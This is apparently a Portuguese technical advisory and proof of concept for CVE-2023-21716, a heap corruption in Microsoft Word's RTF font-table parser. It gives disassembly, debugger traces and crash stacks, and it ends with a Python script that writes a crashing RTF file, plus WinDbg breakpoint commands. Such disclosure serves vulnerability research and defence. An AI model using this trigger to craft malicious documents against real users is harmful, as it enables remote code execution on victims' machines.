featherstark/cve-2023-21716Análise técnica e exploit de prova de conceito para CVE-2023-21716, uma vulnerabilidade de corrupção de heap no analisador de tabela de fontes RTF do Microsoft Word que permite execução remota de código.
Uma vulnerabilidade no wwlib do Microsoft Office permite que atacantes obtenham execução remota de código com os privilégios da vítima que abre um documento RTF malicioso. O atacante pode entregar este arquivo como anexo de e-mail (ou outros meios).
O Microsoft Word é o aplicativo de processamento de texto incluído no Microsoft Office. Em uma instalação padrão, o Microsoft Word manipula documentos no formato Rich-Text Format (RTF). Tais documentos são compostos principalmente por palavras-chave baseadas em ASCII de 7 bits que, juntas, podem encapsular uma grande variedade de conteúdo rico.
O parser RTF do Microsoft Word contém uma vulnerabilidade de corrupção de heap ao lidar com uma tabela de fontes (\fonttbl) contendo um número excessivo de fontes (\f###). Ao processar fontes, o valor do ID da fonte (os números após um \f) é tratado pelo seguinte código:
{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; write the code page {% endhighlight %}
Como mostrado, o valor do ID da fonte é carregado pela instrução "movsx" em 0xd6cf0c3. Esta instrução estende o sinal do valor carregado, preenchendo assim os bits superiores de edx com . O trecho a seguir do depurador ilustra o comportamento em tempo de execução:
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2) *** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2) *** edx will become: 0x17fde (from 0x7fee+0x7ff8*2) *** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2) *** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2) *** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2) *** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2) *** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2) *** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2) *** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2) *** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2) *** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2) *** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)
Quando isso ocorre, a instrução de escrita na memória em 0xd6cf0c3 corrompe o heap ao escrever a página de código da fonte em um offset negativo da memória mantida em esi. O trecho a seguir do depurador mostra a gravação fora dos limites.
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4] *** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4] *** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4] *** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4] *** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4] *** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4] *** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4] *** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4] *** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4] *** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4] *** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4] *** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4] *** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]
Após essa corrupção de memória, ocorre processamento adicional. Com um layout de heap adequadamente projetado, um atacante pode fazer com que a corrupção do heap resulte em execução arbitrária de código.
Usando o código de prova de conceito fornecido abaixo, o processamento eventualmente atinge o código de limpeza pós-processamento. Como esperado, RtlFreeHeap é chamado e detecta a corrupção do heap, conforme mostrado abaixo.
Critical error detected c0000374 (3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. ntdll_77a40000!RtlReportCriticalFailure+0x4b: 77b27012 cc int 3 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo]) 01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4]) 02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo]) 03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo]) 04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo]) 05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo]) 06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo]) 07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo]) 08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo]) 09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo]) 0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo]) 0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4]) 0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo]) 19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
Os analistas também podem usar o Page Heap para verificar que o código tenta escrever fora dos limites. Isso resulta no seguinte:
(afe8.9a5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. wwlib!FSearchFtcmap+0x150: 0dc1f0c3 66894c5604 mov word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=???? 0:000:x86> kv # ChildEBP RetAddr Args to Child 00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo]) 01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo]) 02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo]) 03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo]) 04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4]) 05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966 06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo]) 07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4]) 08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo]) 09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0]) 0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo]) 0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0]) 0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e 0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo]) 0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo]) 0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo]) 10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo]) 11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo]) 12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo]) 13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo]) 14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH]) 15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
Esta vulnerabilidade afeta pelo menos as seguintes versões do Microsoft Office:
Versões mais antigas também podem ser afetadas, mas não foram testadas. Além disso, os detalhes técnicos desta vulnerabilidade evoluíram ao longo dos anos.
O Microsoft Office 2010 e posteriores usam o Modo de Exibição Protegido para limitar os danos causados por documentos maliciosos obtidos de fontes não confiáveis. O Modo de Exibição Protegido está em vigor quando esta vulnerabilidade se manifesta, portanto, uma vulnerabilidade adicional de escape de sandbox seria necessária para obter privilégios totais.
Remover a associação de arquivo para a extensão RTF é ineficaz, pois usar uma extensão DOC ainda alcançará o código vulnerável.
Este problema foi descoberto, analisado e relatado por Joshua J. Drake (@jduck).
O seguinte script Python gerará um arquivo que acionará este problema:
{% highlight Python %} #!/usr/bin/python
import sys
num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1])
f = open("tezt.rtf", "wb") f.write("{\rtf1{\n{\fonttbl") for i in range(num): f.write("{\f%dA;}\n" % i) f.write("}\n") f.write("{\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close() {% endhighlight %}
Executar o Microsoft Word repetidamente com esta entrada malformada acionará o "Modo de Segurança" bem como uma lista de bloqueio específica do arquivo. Para observar o comportamento que um usuário vítima veria, o testador deve limpar a flag de "Modo de Segurança" e a lista de bloqueio específica do arquivo antes de testar novamente. Caso contrário, simplesmente recusar o "Modo de Segurança" e clicar em "Abrir de qualquer forma" é suficiente para retestes.
O uso de breakpoints pesados (como os fornecidos abaixo) no WinDbg e a ativação do Page Heap podem diminuir significativamente o processo de inicialização. O pesquisador observou situações durante os testes onde o código vulnerável não foi alcançado. Pouco esforço foi investido para determinar a causa, mas parece estar relacionado a uma combinação de Page Heap, breakpoints pesados e uma janela de diálogo "O que há de novo".
O seguinte script foi usado no WinDbg para gerar a saída acima. Todos os trechos foram obtidos usando Office 365 Insider Preview 2211 Build 15831.20122 CTR.
* clear all breakpoints bc * * hide the debugger e ebx+2 00 * run until wwlib is loaded xe ld:wwlib g; wait * make the breakpoints * watch index calculations bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc" * watch the writes bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc" g
